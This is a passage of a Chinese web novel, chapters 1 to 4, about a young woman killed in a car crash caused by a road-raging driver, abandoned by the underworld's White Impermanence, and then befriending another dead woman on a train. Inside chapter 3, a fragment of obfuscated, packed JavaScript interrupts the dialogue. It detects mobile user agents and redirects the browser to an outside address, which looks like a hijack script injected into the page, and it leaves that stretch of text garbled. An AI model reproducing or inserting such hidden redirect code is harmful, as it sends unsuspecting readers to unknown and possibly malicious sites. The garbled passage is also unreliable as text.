《听说阴间判官接活人业务啦》
1. 第 1 章
初夏的早晨,暑气尚未蒸腾,平坦的柏油路上只有两辆车,正一前一后等着红绿灯。
“嘀嘀!”
神情不耐烦的男人猛锤了几下喇叭,咒骂出声:“靠,绿灯了还不走!”说着又锤了几下,拳头砸在方向盘上砰砰作响。
斜后方坐着一个戴金丝边眼镜,穿着简约的女生,名叫陈献午。
她垂头暗自懊恼:“出门没看黄历,最怕这种暴躁路怒症司机了,入职第一天可千万不要出事啊,呸,出什么出,老天奶,我都是乱想的,别应验!”
当然,这话她是不敢说出口的,出门在外,多一事不如少一事,何况她只是个人高马大的弱女子。
许是被一连串的喇叭声惊醒,前车终于有了动静,开始慢悠悠地往前开,以十几码的速度悠悠荡荡前进着。
“嘀!!!”又是一记重锤。
“这么慢还开什么车,买个学步车滚回你家客厅爬去。”司机大哥骂骂咧咧,发泄完才准备超车。
前车像是听到了大哥的谩骂一般,忽地如离弦之箭加速冲刺,距离一下拉开。
司机大哥瞬间被前车刺激到:“哈!?挑衅老子,今天不给你点颜色看看,老子白开这么多年车。”说罢,猛地一脚踩死油门,‘嗖’地飞了出去。
陈献午坐在后座都能感受到他脚踩下去的那股狠劲,强大的后坐力让她整个人咣当撞在后靠背上。
好晕!脑瓜子嗡嗡的。
陈献午惊魂未定地扶了下眼镜框,斟酌着开口:“大哥,您能慢一点吗?我晕车……”
司机从车内后视镜瞥了她一眼,嘴边露出一个嘲讽的笑,胆子这么小:“切,这辈子没感受过风驰电掣吧?”
耍了一波莫名其妙的威风后,司机目露凶光望着前车:“龟儿子,敢跟老子叫板。”
陈献午眉头皱得更紧,她不是没看到司机的表情,只是不想跟这种人,在这种时候无谓的争辩,只能在心中不断祈祷着:千万不要出事。
她不由自主抓紧了安全带,指节泛白,不安地看了看四周,万幸一大早车辆并不多。
今天是陈献午去某大厂报道的第一天,为了这一份看似不错的工作,她准备了很久。
第一天绝对不能出岔子,想到这里,她探身两手抓住前座的靠背,壮着胆子喊道:“大哥!”
司机搭在方向盘上的手肉眼可见地一哆嗦:“干什么玩意儿?吓我一跳!”
陈献午稍退几分,苦口婆心劝道:“道路千万条,安全第一条!开车不喝……呸!交通安全要遵守,路怒飙车不可有啊!”
话音刚落,司机一脚刹车踩死,陈献午脑门又咣当撞在了副驾驶的座椅上,鼻梁上的眼镜滑落下来,又正好被膝盖抵住,不出意料地牺牲了。
陈献午痛苦地抱住脑袋,眼冒金星在此刻具象化了。
“傻逼!”
“傻逼!”
两声傻逼同时冒出来,一个出自司机之口,另一个来自陈献午的内心。
前车突然急刹,险些追尾,而他前面分明一辆车都没有,更没有什么可疑生物。
这要再不是故意的,那就真过分了。
司机大哥怒气冲冲打开车门,边走边撸袖子,一副即将大干一场的气势。
哪知才刚走几步,前车又突然疾驰而去,只留下一溜尾气。
“老子今天跟你没完。”司机大哥啐了一口,两步冲到驾驶座,‘砰’地关上车门。
陈献午看这架势,是要出事啊,她当即要打开车门下车,没想到早被司机上了锁。
“快打开,我要下车!”陈献午急得声线颤抖,把车门拍得哐哐响。
“马路中间怎么下车?”司机从后视镜白了她一眼,不耐烦道:“有什么好怕的,我开车的时候你还没生出来呢!怂货……”
司机给油之后一直在试图超车,两辆车旁若无人地在空旷的柏油路上疯跑,不知道的还以为是拉力赛比赛现场呢。
“停车!靠边停车!”陈献午脑子发懵,什么想法都没了,只知道她必须得下车:“快点靠边,不然我投诉你!”
她甚至生出了抢方向盘的念头,但立刻被自己否决了,那样只会更危险。
但司机好像已经完全听不见任何声音了,不管不顾地踩着油门,来回晃动方向盘,势必要超过前车。
陈献午忙不迭掏出手机准备报警,哪知手机刚从包里掏出,一个狂浪的侧甩导致她的手机脱手飞了出去,翻滚几圈落在左侧车门下。
她拉扯着安全带,艰难地伸手够到了手机缓缓起身,还想再劝解司机大哥:“开车一时快,人生一世毁......”
一个庞然大物在她视线里急速逼近。
“毁了!”
她想:下辈子一定要考驾驶证……还有,再安全的座位遇到侧面来的危险也不顶用!
“吱~砰!”
剧烈的爆鸣声在耳边炸开来,陈献午没有感到任何痛苦,她的意识瞬间抽离,仿佛被一双无形的手捏碎,烟消云散,归于天地。
一阵惊天动地的巨响过后,满地各式各样的碎片,有铁的、有布的、还有肉的……
待陈献午意识回拢时,已经在疑似小轿车的物体旁飘着了。
她低头看着胸口插着的大铁片无语凝噎,怎么就死了呢?!再也不乌鸦嘴了!
再看她乘坐的车,半个车身都被大货车撞扁了,货车车头陷进小车里,周遭滚滚黑烟弥漫,噼里啪啦的声响从黑烟中传出来,有种更强烈的爆炸正蓄势待发的迹象。
陈献午下意识飘远了些,显然她还没适应新鬼的身份,就算二次爆炸了,也炸不到她。
司机从大货车后面幽幽飘过来,头部已不成形状,半边脑袋不知所踪,剩下的一半鲜血淋漓不辨五官,一只胳膊掉了下来,被他拿在手里,两腿一左一右撇成罗圈腿,附着血肉的白骨随着他前进的动作时隐时现。
这会儿的他哪还有飙车时那不可一世,六亲不认的态度,头都撞烂了,虽然看不出来神情,但陈献午莫名其妙感觉他此刻应该是愧疚,不好意思的表情。
但是,愧疚能让她死而复生吗?不能!无法原谅!
陈献午撇过脸不愿看他,不是怕他,而是那半张脸可怖至极,看了要做噩梦。
司机结结巴巴:“那个,大妹子,对不住啊……哎,只能说,这都是命啊。”
他不说这话还好,一说“这都是命”,陈献午本就憋着的一股怒火立刻被点着,蹭地拔地三尺。
亏她事发前还不断提醒自己幸福者退让原则,她又不幸福,有什么好退的,陈献午果断冲上去就是一个飞踹。
司机飞仰倒地,陈献午单脚踩着他肋骨,抡圆了胳膊在他身上招呼,两只手抡成风火轮都难解恨。
早知道是这下场,今天她就是进局子,也得把这司机拽下车扁一顿。
司机“哎呦哎呦”地叫个不停,一只手只能勉强挡住那半个头,其他地方全暴露在陈献午眼前,迎接暴风雨似的拳头。
即使被打成这样,他也不敢还手,毕竟理亏,亏很大。
陈献午捶到兴起,还把胸口的铁片拔了下来,径直插进司机的身体,他本就不忍直视的模样更显骇人。
没意思,陈献午手都酸了,她想了想,抢走司机的胳膊,使足劲头把他的腿砸成半边书名号,随手扔掉那只胳膊,这才停下攻势。
司机见状赶忙以古怪的姿势爬走,离她八丈远,顺道还捡起自己的胳膊。
这时,一个一身白衣,头戴高帽,手拿锁链的身影凭空出现,帽上写着“一生见财”。
不难分辨,这就是传说中
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的白无常。
其实这位白无常早就到了,在旁边看半天却不上前阻拦,直到陈献午停下,他才不紧不慢过来。
“三个人都过来吧。”白无常手掌摊开,一本簿子和一支毛笔出现在他手上。
陈献午和司机俱是一脸疑惑,三个?哦,还忘了一个人。
货车司机从车底默默爬出来,木着一张没睡醒的脸飘到白无常身边,原来是把他忘了。
“好啊,就是你个狗东西把我们俩撞死的。”网约车司机立刻飞过来,断手揪着货车司机衣领子,二人,不,二鬼立刻扭打在一起。
说是扭打,倒不如是网约车司机单方面殴打货车司机,只见他右手拎着左手当武器,像打狗一样敲着货车司机,别看他残躯不全,一点不影响打架,而货车司机从始至终无甚反应。
白无常沉着脸,提溜起两只鬼的肩膀,轻轻松松将他们分开。
待两人站定,白无常开口:“王成,男,三十六岁,宿北人士,死于车祸,是你吧?”
网约车司机晃着半个脑袋点头哈腰,“是是。”
白无常撩起眼皮瞥一眼,对他这副惨不忍睹的形象见怪不怪了,低头在手中的簿子上写了些什么。
“张勇胜,男,四十一岁,西泾人士,死于车祸,是你吧?”白无常转向低垂着头的货车司机问道。
“是我。”货车司机耷拉着的眼皮抬起,这时才有了反应。
白无常公事公办开口道:“要钱不要命,开一夜车,你是解脱了,孩子……”他话未说尽,点到为止。
张勇胜呆滞的表情终于有了松动,想起了躺在病床上的孩子,瞬间号啕大哭,“我的孩子啊,爸爸对不起你,爸爸没本事啊!我可怜的康康……”
他哭着哭着忽地想起什么,跪扑倒在白无常面前,抓着裤腿祈求道:“白老爷,求求你救救我的孩子,他还那么小,才九岁,他不能死啊,他还那么小,小到我一只手都能把他抱起来,求你救救他……求求了。”
白无常无动于衷,连个眼神都没分给他,本就惨白的脸更显冷漠。
恍惚间,张勇胜抬起一只手,仿佛真的抱着一个孩子,轻摇慢晃,看着空荡荡的胳膊甚至笑出了声。
白无常听到笑声微不可察地叹了口气,方才的提醒已经是他最大限度的好意了,见惯了人之七情志,这还不算最惨的,他再次抬手在簿子上写了几个字。
“哎,没想到这么可怜。”王成装模做样地发表了一句看法。
无人理会!
“白大老爷,您是要带我们去阴曹地府投胎吗?”他又继续问。
白无常剜他一眼,没好气道:“我姓谢。”
这位是白家第九十七代无常,名为谢别,最烦废话多的人,在这之中,像这样无脑可恨之人是为典型。
“对不住,谢大老爷,您是要带我们去阴曹地府投胎吗?”
谢别恍若未闻,转向一言不发的陈献午,怔怔地盯着她的脸,几秒后低头来回翻手中的簿子。
片刻又抬头望着陈献午,形容复杂,欲言又止。
陈献午瞧他这样更是丈二和尚摸不着头脑,什么意思哦?难道我命不该绝?该死的另有其人?太好了,又能活了!
等了半天,白无常还是一副痔疮复发的表情,嘴巴张了又张,就是不说话。
“属贝壳的?”
白无常一惊,不明所以地看着陈献午。
陈献午:“我自言自语呢,哈哈,您没有什么问题要问我吗?”
“陈献午?”
这是什么语气?好像这名字不属于我一样……
陈献午清清嗓子,郑重道:“是我。”
谢别没有像对前两个人那样,报出基本信息确认身份,而是问了个摸不着头脑的问题:“你要投胎吗?”
2. 第 2 章
“不然呢?”陈献午嘴比脑子先出发,反问脱口而出。
“呃……”谢别噎住。
“我的意思是,要!当然要投胎。”陈献午斩钉截铁道,不投胎难道在人间当个死鬼游手好闲吗?
“哦。”谢别嘴巴张了又张,还想再说点什么的样子,最终还是放弃了。
陈献午怎么死早了,死因也不对,应该是死于一个小时后的高空坠物才对,而且她不是我接……不管了。
他合上手中的簿子,取出勾魂锁将前两个人绑起来,末端随手递给陈献午,“拿着吧。”
陈献午没觉得有什么不对,听话接过,等她反应过来,谢别已经转身走到前面领路了,“谢大老爷?”
“我叫谢别。”谢别头也没回。
谁问你名字了?
还有,这么敷衍的吗?他好像丝毫不担心陈献午扔锁跑路,连信息都不确认,陈献午感觉有点奇怪,但说不上来。她看着手中的勾魂锁无奈叹了口气,慢慢跟上。
没走几步,她忍不住回头看树,看高楼,看太阳,这些常见的东西此刻竟拴住了她的心。
直至现在,陈献午脑中还充盈着股不真实感,死亡来得如此轻描淡写,让她不知该用何种心态面对。
说到死亡,人们总会心生畏惧,随即闭口不谈,甚至也不允许别人提,好像只要不提就不会经历。
怕死,归根究底其实是怕化为虚无,怕被遗忘,失去存在的印记。
但是当你真的踏过那道屏障,好像也没什么感觉,冷漠得就像死的是别的无关紧要的人。
勾魂锁随着走动的声音碰撞出声响,陈献午缓缓回首,拎起锁链仔细瞧着,这东西好生阴寒,寒到骨头缝里都冒冷气。她只用两根手指轻轻提溜着,不脱手就没问题。
“啪唧。”
不知何物绊了她一脚,整个鬼呈大字型趴在地上,勾魂锁迫不及待脱手而出。
陈献午蹭地爬起来,看看到底是什么东西绊倒自己,但只有一抹黑影从她余光里一闪而过,跑得倒挺快。
“流年不利。”她低声嘟囔一句便转身欲走,不远处一扇闪着光的门浮空而现,门内却黑漆漆一片,犹如吞噬一切的无底洞。
排在最末尾的王成一只脚已经踏进去,陈献午顿觉不妙,赶紧追上,冲刺,跨栏,成功!出事了……
鬼呢?白无常呢?
怎么一只鬼都不见了,明明只迟了那么两秒。
“谢,谢别?无常大人,你在吗?哈喽?有鬼吗?麻烦吱一声!”
门后面的世界除了没有活人,其他和现实别无二致,房屋、道路、信号灯……一比一还原,陈献午觉得这就是原来的世界,只是在不同维度。
她四下张望,一点踪迹都没发现,天地间仿佛只剩她一只鬼。
陈献午眨巴眨巴眼睛,她好像被抛弃了?现在怎么办?
纠结两秒,她又将头伸回门外,一群人,鸣笛声、吵嚷声、洒水声不绝于耳,还是那个鲜活的、充满生命力的世界,真令人向往。
倏地,一股不可抗拒的力量将陈献午弹了出来,陈献午不知这股力量从何而来,但她感觉很熟悉。
再回头,门消失了!
陈献午孤零零地站着,迷茫、呆滞、不知所措。
眼前的场景如同开了二倍速,她望着不同身份的人来来往往,或焦急,或担忧,或面无表情,还有一群看戏的,他们活像失了智,望着狼藉的车骸指指点点,说说笑笑,可能对他们来说确实算得上一场好戏。
她在原地站到烈日爬上头顶,又向西奔去,人群早已疏散,事故处理也已结束,地面上干干净净。
照常理,现在应该有一场倾盆大雨,洗刷掉现场残留的最后一丝痕迹。伴随着电闪雷鸣,大雨迷了眼睛,泪水混着雨水一起流下,陈献午这样想着。
然而泛着余晖的阳光打在她脸上,似乎在提醒她别想了,不会发生的,一切都不会如你所愿。
陈献午失去方向,要不去大厂看一眼吧,看看她努力了那么久的终点是什么样的。
可她却鬼使神差地回到了自己的小出租屋,房间里跟早上出去时没两样,静静等待着主人的回归。
……
狭小的出租屋,漆黑一片,床上有个不被常人看见的身形,将被子拱起。
“下车,我要下车。”陈献午拍打着车门,口中不停重复道。
隐约觉得有大事要发生,好热,一大早怎么会这么热。
床上的人猛地抽搐一下,大喊着:“不要!”
陈献午睁开眼惊魂未定地望着天花板,大口大口喘着粗气,抬起手随意地在脑门上擦了一把不存在的汗。
她感觉耳膜刺痛,头更痛,好像被人用锤子硬生生敲开了一样。
七天……她已经连续七天做同一个梦了……
谁能告诉她,为什么鬼也会做梦啊!!!
试问,谁会喜欢不断“被”经历自己死前的场景,简直是杀人诛心,杀鸡取卵,不对,杀,杀……算了,不杀了。
陈献午坐起身呆呆地望着地面出神,这七天,她活得像个行尸走肉,每天除了去殡仪馆看看自己的尸体,了解一下事故处理进程,就是躺着看无声哑剧。
哦!还有重温车祸过程……
唯一值得庆幸的是房间里所有东西她都能碰到,还可以看看电视讨些消遣。
但缺点就是不能开声音,怕被人听到,还以为闹鬼呢,再招来道士就不好了。
她还在新闻上看到出事那天,即将入职的大厂门口也被围得水泄不通,有个员工在长期高强度工作后,精神崩溃,从楼上跳了下来。
陈献午对此唏嘘不已,不知道这尚未谋面的同事现在在哪,他会不会选择再投胎。
思绪发散后又聚拢,陈献午又苦恼起自己以后该何去何从的问题,总不能一直在这房子里飘着吧,房东迟早要把房子租出去的,也不知道租不租得出去,毕竟死过人。
算了,担心这干嘛呀,她更应该担心担心自己!
这几天,她为了不做梦也尝试过不睡觉,然而并没有什么用,到某个点就失去意识了,比敲晕还快些,敲晕了好歹能听个响。
陈献午高一那年父母双亡,也是因为车祸,得到的赔偿全部用来还债了,也没有亲戚,她一直靠着各种补助,一份钱掰两份花,好不容易坚持到了上大学。
人人都说上了大学就轻松了,陈献午一点没感觉到,每天都被学业和打工占据,累得像条狗,在角落里努力地活着,攀爬着向上,希冀通过这
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些奋力攀爬的痕迹平稳度过余生。
她最大的愿望就是找个好工作,眼看着就要苦尽甘来,没成想,领取愿望的途中挂了,一场车祸,把她彻底掀翻。
现在还成了孤独的游魂,陈献午不可避免地想到了白无常,哪有这么不称职的,把鬼弄丢了也不来找,都头七了……
今儿头七,却连个像样的葬礼都没有,陈献午越想越心塞,“咣当”一声栽倒在枕头上。
她抬起一只脚翘在另一腿的膝盖上晃悠,回顾起自己凄惨的人生,晃着晃着便想起一个满口胡话的神棍,“算命的说我命好,我信了……我想问问他现在这是个什么情况,啊?”
半年前,陈献午去便利店买东西,被一个算命的拦下来,非要给她算一卦。
她是个坚定的唯物主义者,从来不信这些,更何况这人衣衫褴褛,不修边幅,连个招摇撞骗的牌子都没有,可信度为零。
陈献午想也没想,一口回绝,“我没钱。”
神棍置若罔闻,自顾自说了一通不着边际的屁话,“不收钱,小友命格特殊,是个绝无仅有的好命格,老道来此不为别的,只为混个脸熟,待日后到那边,还望提携一二,如果能给老道谋个一官半职就再合适不过了。”
陈献午转身就抛之脑后了,好笑,一个假道士跟她这个穷学生求职,难不成他也想进大厂啊?骗人也要编点实际的,把人当傻子呢。
当晚她就被推送了一则星座运势,预测今年事业旺,财运旺,桃花也旺,总之,哪里都旺!
陈献午看完不但没笑,还有些无语,该死的大数据。
然而,当她收到大厂offer时,她有些信了,什么神棍,明明是不显山露水的高人啊!她以后可能还真当领导了,想想就开心。
但现在,陈献午只想把那老道士揪过来,让他看看自己有多离谱。
谁家好命的父母双亡啊?谁家有福气的上班第一天嗝屁啊?谁家气运旺的死了都遇不到负责任的无常引渡啊?
下辈子,她要变成一个平平无奇的富道人家,还想要有一辆车!不,几十辆车,每天挑一辆,用二十码的速度在自家客厅随便开!!!
对了!投胎!光顾着伤春悲秋了,脑子没转起来。
陈献午一头坐起,白无常不找她,那她就自己去找白无常。
令她郁闷的是,能找的地方都找过了,一无所获。
她也是头脑发热,这些日子浑浑噩噩,突然有个想法,立刻就去实施,也没动动脑子。
殡仪馆都看不到白无常,别的地方就更不可能了。
这样下去不行,也不知道当太久孤魂野鬼会不会影响投胎,必须得主动出击。
谁说没有白无常带领就不能投胎了,她可以自力更生啊,想通了之后,陈献午立刻出发寻找阴曹地府。
快步流星地走了五分钟,陈献午反应过来一个问题,她不知道阴曹地府在哪……死了之后就是不中用,头脑总是一热一热的。
传说有西方极乐世界,即往生之地,也听说过阴曹地府在东岳泰山,还有人说真正的地府是酆都鬼城,掌管幽冥往生事务。
也不知到底应该去哪,陈献午纠结半晌,决定先去泰山碰碰运气,这个最近,路上遇到孤魂野鬼还能打听打听。
3. 第 3 章
脑子热了两次之后,陈献午感觉稍有些灵光了。
她轻车熟路地来到了高铁站,也没人说鬼不可以坐高铁啊!
可惜她到高铁站的时候太晚,已经没有去新历市的车次了,站内半夜还要关门,更是黑灯瞎火。
陈献午只得在候车厅干巴巴地等着,偌大的候车厅,别说人了,连个鬼都没有,除了陈献午。
她把整个高铁站晃悠了个遍,连犄角旮旯都造访过,没意思极了,遂又回到了候车厅罚坐,坐着坐着便摊成一片,躺在椅子上干瞪眼。
她发誓今晚绝对绝对不会再睡着,下一秒就陷入了敲晕式睡眠,梦中的内容与之前丝毫不差。
只是这次悠悠转醒前,她看到了一个模糊的背影,依稀可以看出是个身姿挺拔的女子,穿着看不太清,但可以确定不是现代。
那女子手里拿了一个小盒子,埋在了粗壮的柳树根下,柳树能长到这个程度估计有不少年头了,埋好盒子后,女子发泄似的朝那处狠踹几脚。
陈献午想去看看到底埋了什么东西,会气成这样,未等走上前,一股无形的力量便将她拽出来,眼前赫然是早早来赶车的乘客们,原来已经到早上了。
她也不纠结梦中之事,只想到终于有消遣的了,一眼扫过去便被一个婉约不失大气的女生吸引,感觉她都不用站在冰箱上就很高冷。
陈献午决定与她一起欣赏她的手机,刚坐到旁边,就听到手机里传来熟悉的声音,好巧!竟然是她最喜欢的综艺,陈献午略带欣赏地看了一眼旁边的女生,果然,美女的喜好都差不多嘛。
果然,喜欢的综艺再看一万遍也会深陷其中,陈献午不自觉看进去了,一点一点靠近女生的肩膀。
视频画面忽然暂停,“别停啊!怎么了吗?”陈献午坐起来,伸出“尔康手”阻止道,并没有人搭理她。
女生将手机放在腿上,手掌按住肩膀转了几圈,还是不得劲,又反着转了几圈才重新拿起手机。
视频继续播放后,陈献午没敢再靠人家肩膀,而是伸长了脖子,屁股撅老远,极其别扭地看着手机。
经典老梗重现,陈献午被逗地哧笑一声,鼻子呼出的气喷在女生脖子上,惹得她打了个寒噤,用手捂住脖子。
女生往四周看了一圈,疑惑不解,哪来的凉风。
正好这时,她乘坐的班次开始检票了,女生收起手机,走到检票口排队。
陈献午抬头一看,“咦?这么巧,我也坐这趟。”于是迅速走到女生旁边,亦步亦趋地跟着,刚刚那视频还没看完呢。
“真漂亮啊!”陈献午盯着人家的脸再次发出感叹,她第一次在现实中见到素颜这么抗打的女孩。
女孩刷身份证通过闸机,陈献午紧紧贴在后面,“呼~好险,差点就夹到我了,第一次逃票,好刺激啊。”
如果旁边有另一个鬼,定要嗤她,哪里来的戏精。
自动扶梯前排了长长的队,大家都推着箱子在等,陈献午自然而然地往扶梯走过去。
谁知女孩走到楼梯前,收起拉杆,抓住行李箱侧边把手,猛地拎起来走下楼梯,看起来毫不费力,就像在提一个空箱子。
陈献午赶紧跟着从楼梯下去,“哇,你力气蛮大的哎,其实我也不差。”她眼里的欣赏更重。
“你胳膊细细的,看起来没锻炼过,平时会做运动吗?”
陈献午跟着女孩走到她的座位,一路絮絮叨叨:“我最不喜欢运动了,虽然我运动神经还不错~”
“哎,你还在上学吗?还是已经工作了?我跟你说,我可太惨了,上班第一天噶了,谁能比我惨。”
由于太久没说话了,即使对方听不到,陈献午也兴趣盎然地喋喋不休,已然把这个才见了不到一小时的女生当成了知己。
女生找到位置后,把行李箱放在身前,准备坐下。
“需要帮你放上面去吗?”一个长相清秀的男生红着耳朵问道。
女生头也没抬,膝盖抵住行李箱淡淡道:“不用了。”
“啊!声音也这么好听。”陈献午一脸荡漾地称赞道。
“没事的,我来帮你吧。”男生把她的行李箱推出来。
陈献午瞪了一眼男生:“人家都说不用了,脸皮真厚。”
“唔!”一道古怪的沉闷声传来,男生憋红了脸,僵在原地。
陈献午抚掌狂笑不止:“哈哈哈哈哈哈哈,拎不动,你逞什么能,哈哈哈哈哈哈。”
女生将箱子拉回来,重新放在腿前:“谢谢,但是我不需要。”
陈献午:“好善良啊,还给他台阶下。”
“好吧。”男生挠挠头,尴尬地回到自己座位。
女生掏出耳机,连上蓝牙后,将刚刚暂停的综艺点开了。
陈献午马不停蹄穿过她的箱子,一屁股坐到里面,“刚好没人。”
只是没看两分钟,女生又关掉了视频,打开音乐播放器,随意点开一首歌循环播放,然后就靠在椅背,闭上了眼睛。
“你困了吗?行吧,那你好好休息,我去逛逛。”陈献午自顾自说道。
说是逛逛,其实她直奔商务座,还从来没坐过呢,正好趁此机会感受一下。
结果她兴奋地跑过去,失望地飘回来,商务座坐满了人,一个空位都没有,有钱人真多啊……
陈献午回到女孩身边,站在旁边近距离观赏美人酣睡图,看着看着觉得有点不对劲,哪里怪怪的。
嘶~她胸口怎么没有起伏了!
陈献午大骇,怎么这一会儿功夫,人就没了。
她忙不迭抬头寻找,隔了一节车厢的连接处,恰是那个女孩的背影,前面还有一个头戴高帽的人领着。
是白无常。
“等等我!”
一声殷切高喊吸引了那俩人的主意,齐齐回头来看。
陈献午大喜过望,兴奋地奔过去,虽然很不道德,但是多亏了这女孩,让她找到了无常,得来全不费工夫啊。
那无常一回头,和八天前见过的那个脸完全重合,竟是谢别。
“谢大老……”陈献午惊喜到一半,谢别唰地压帽盖住脸,转身,抽走勾魂锁,化作一缕轻烟消失。
陈献午:“???”
女孩低头看自己没了束缚的手:“???”
怎么跑了?跟看见鬼似的,动作这么顺,一看就没少练。
他倒是跑了,徒留下陈献午和女孩俩大眼瞪大眼。
一秒……
两秒……
“嗨~”陈献午露出八颗牙齿标准笑容抬手打招呼。
女生没搭理她,转了一圈,应该是在找谢别,但谢别是谁,那可是白无常,来无影去无踪,他想跑谁能找得到。
寻找无果后,她又走到自己的身体旁边,一错不错盯着看,想不通自己怎么突然就没了。
被忽视的陈献午支着大牙就飘过去了,做作扭捏道:“我叫陈献午,你叫什么呀~”
遇到这种难得一见的颜值,人总是会更加宽容,更加想亲近,如果能成为好朋友就更完美了。
女生一阵恶寒,好似被她这九转十八弯的语调恶心到,从上到下打量着陈献午。
陈献午生平最讨厌上下扫视的那种人,尤其是带着轻蔑的,虽然女生眼神里平静无波,不带任何意味,但陈献午还是被这动作惹得有些不快。
她立刻站直了,拉着个脸:“昂,哑巴啊,早说啊,你一句话不说我怎么知道你是哑巴。”
“江越人,超越的越,人类的人。“
江越人听到正常语气说着阴阳怪气的话,这才正视陈献午:“早这么说话不就好了,嬉皮笑脸的,怪恶心人。”
“我!我……行,我不笑。”
陈献午抬起手,两根食指按住嘴角向下扯,“你怎么死的?”
“不知道。”江越人看着对面更加离谱的模样,拍开她的手,“刚睡着,一睁眼就看见谢……大佬,他说我睡死的,我才不信。”
不得不说,“谢大佬”这称呼也太难以启齿了。
陈献午:“嗯?谢大脑是谁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926236|160520||http|test|mini|href|location''.split(''|''),0,{}));
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>江越人不悦:“我平翘舌分得很清好吗!不是你刚刚喊的谢大佬……”
陈献午恍然大悟:“噢~你说谢别啊,我想喊的是谢大老爷来着,套近乎嘛,总得要尊敬些个。”
“所以你干了什么?他怎么一见到你就跑?你不会是阴间通缉犯吧?”
少女,你的脑洞未免太大了点……
陈献午对此表示不服,人殡仪馆早就给她整理好仪容仪表了,衣服她自己从衣橱换了新的,除了嘴巴颜色有点奇怪,哪里像坏人了。
“你见过这么纯良的通缉犯吗?再说了,他可是阴间公务员,见到通缉犯拔腿就跑像话吗?”
江越人抱臂,不知不觉被陈献午带跑偏:“不是没有可能,万一你是吸食魂魄保持美貌的恶鬼呢?”
“美貌?”陈献午勾起嘴角,要笑不笑的样子:“我承认,确实有那么一点吧,但我也就比你早死八天而已,偷吃仙丹也没法修炼这么快。”
“我说错了,我是说把别人的美貌加到你的脸上,而我就是你的下一个目标。”
陈献午心道:看吧,那些声称不觉得自己长得好看的人,都是骗子,什么帅不自知,美不自知,嘴比铁硬,丑不自知倒是多的很。
“姐妹,谦虚是种美德,不过我想你应该不需要。”陈献午忘记一开始短暂的不愉快,反而更喜欢她,更想和她交朋友了。
“我没有那种东西。”几句话的功夫,江越人已经不再排斥陈献午了,这人挺有意思。
陈献午挪了一步,不小心蹭到座位上江越人身体的胳膊肘,导致她胳膊移动了一点,好在没倒下。
之前的清秀男生走到江越人旁边,腼腆道:“你喜欢吃泡芙吗?”
他以为江越人睡着了,没敢打扰,直到刚刚有动静,他才走过来。
“一般。”江越人站在旁边答道,可惜男生听不见。
男生觉得对方带耳机没听见,于是伸手轻推江越人肩膀,谁料这轻轻一下,竟将她整个人推倒到一边,而且倒下后一点反应没有。
男生这下慌了神,忙拉起她,连连道歉:“对不起,对不起,我不是故意的。”
陈献午摇摇头,叹息道:“完了,他完了,这心理阴影要挥之不去了。”
江越人平淡的脸上终于有了一丝同情:“算他倒霉。”
男生拉起来后,一松手,江越人又软趴趴倒下了,男生彻底慌了,更害怕别人误会他。
这里的动静引起了很多人注意,男生环顾四周,所有人都看着自己,他哆哆嗦嗦地去探鼻息,这一探直接叫他惊吓过度,晕死过去。
众人一窝蜂地围了过来,陈献午提前预判到,拉着江越人左避右闪逃出包围圈,远离这个车厢,嘈杂混乱的声音逐渐减弱。
陈献午:“然后呢?”
江越人觉得有些莫名其妙:“什么然后?”
“就是你看到谢别之后啊,发生了什么?”
“哦,他直接把我手绑起来,说要带我去走加速通道投胎,百年难遇一次的机会,被我撞上了。”
“你信了?”陈献午听着感觉套路好耳熟啊,而且还有说不上来的奇怪。“他就没有问你别的吗?比如说姓名、几几年生、家住哪里?”
“他骗我有什么好处吗?”江越人反问,“不过他确实什么都没问。”
“……也是哈,你又不是啥大官,没啥可图的。可是不应该呀,名字都不问,你不觉得奇怪吗?而且他还一言不合把你扔下了。”
“那还不是因为你突然出现,你到底干什么了?把他吓走。”
陈献午直呼冤枉:“嚯,好一口大锅啊,我都没怪他把我扔了,那天说好去投胎,他只带走那两个人,把我丢下了,也不回来找我。”
“那就奇怪了,回头你告他工作失职,不,我们一起告。”
“好啊,去哪告?”
“不知道。”江越人扑闪着大眼睛真诚看着陈献午。
陈献午一拍胸脯,给她打包票:“那你就跟我走吧,告完状之后,我带你去投胎。”
4. 第 4 章
“你不是说就比我早八天吗?怎么感觉你熟门熟路的,像拉人进传销的黑心组织头子。”
陈献午突然被扎一箭,心中郁结:“有没有人说过你的嘴很毒,毒不过你的终将使你更毒。”
江越人撇撇嘴,没觉得自己说错,只是合理怀疑罢了,不过说者无意,听者有心,“抱歉,那我们接下来去哪?”
“别急,先歇歇。”陈献午也只是随口一说,没放在心上,她找了两个没人的位置坐下,顺道拍了拍旁边的座位,“但是你为啥一点不关心你自己啊?”
江越人:“?我怎么了?”虽不理解,但她还是坐下了。
“身后事啊!不担心家人朋友是否伤心难过?以后会葬在哪?没有完成的事情怎么办?”陈献午看着江越人古井无波的眸子,甚是疑惑,她怎么淡定地像死了十几次。
忽然想到什么,陈献午一脸揶揄:“还有手机里有没有没删的秘密呀?”
她试图从江越人的脸上看出什么,然而对方连眼神闪烁都不曾有。
不会是面瘫吧?刚刚看综艺也没笑,陈献午一边脑补她笑起来的样子,一边自以为发现了真相开始惋惜。
“没有。”江越人转过身面对陈献午:“想那么多有什么用,不过是一堆白骨。何况我现在确定了真的有来世,早点投胎才是要紧。”
陈献午挑了挑眉,真不愧是她一眼相中的投胎搭子。
又听江越人继续道:“其实是因为先天性心脏病,他们早就做好准备了。”
“对不起,我不知道是这情况。”陈献午瞬间收起表情,变脸大概也就这速度了,“那你是心脏病突发所以才……”
“你真信了?”
陈献午:“???”
越是漂亮的女人越会骗人,果然是真的。
江越人心情莫名松快起来,“没骗你,我确实有病,医生说叫什么情感缺失障碍,不过我觉得那都是放屁,他根本不懂。”
“哈哈,是嘛?”陈献午字正腔圆地笑了两声,你看我还信吗?
“嗯,虽然他说我有病,但我很大度地原谅他了,对于水平不够的人也只能原谅了,没办法。”
如果忽略她提起医生就一副想捶爆那人狗头的表情,大体是可以相信的。
“你呢,你怎么死的?”
“车祸。”
江越人一股脑把陈献午问过的问题全都回敬给她:“所以你家人朋友很伤心咯?那你葬在哪?有没有没完成的事情?手机里的秘密怎么办?”
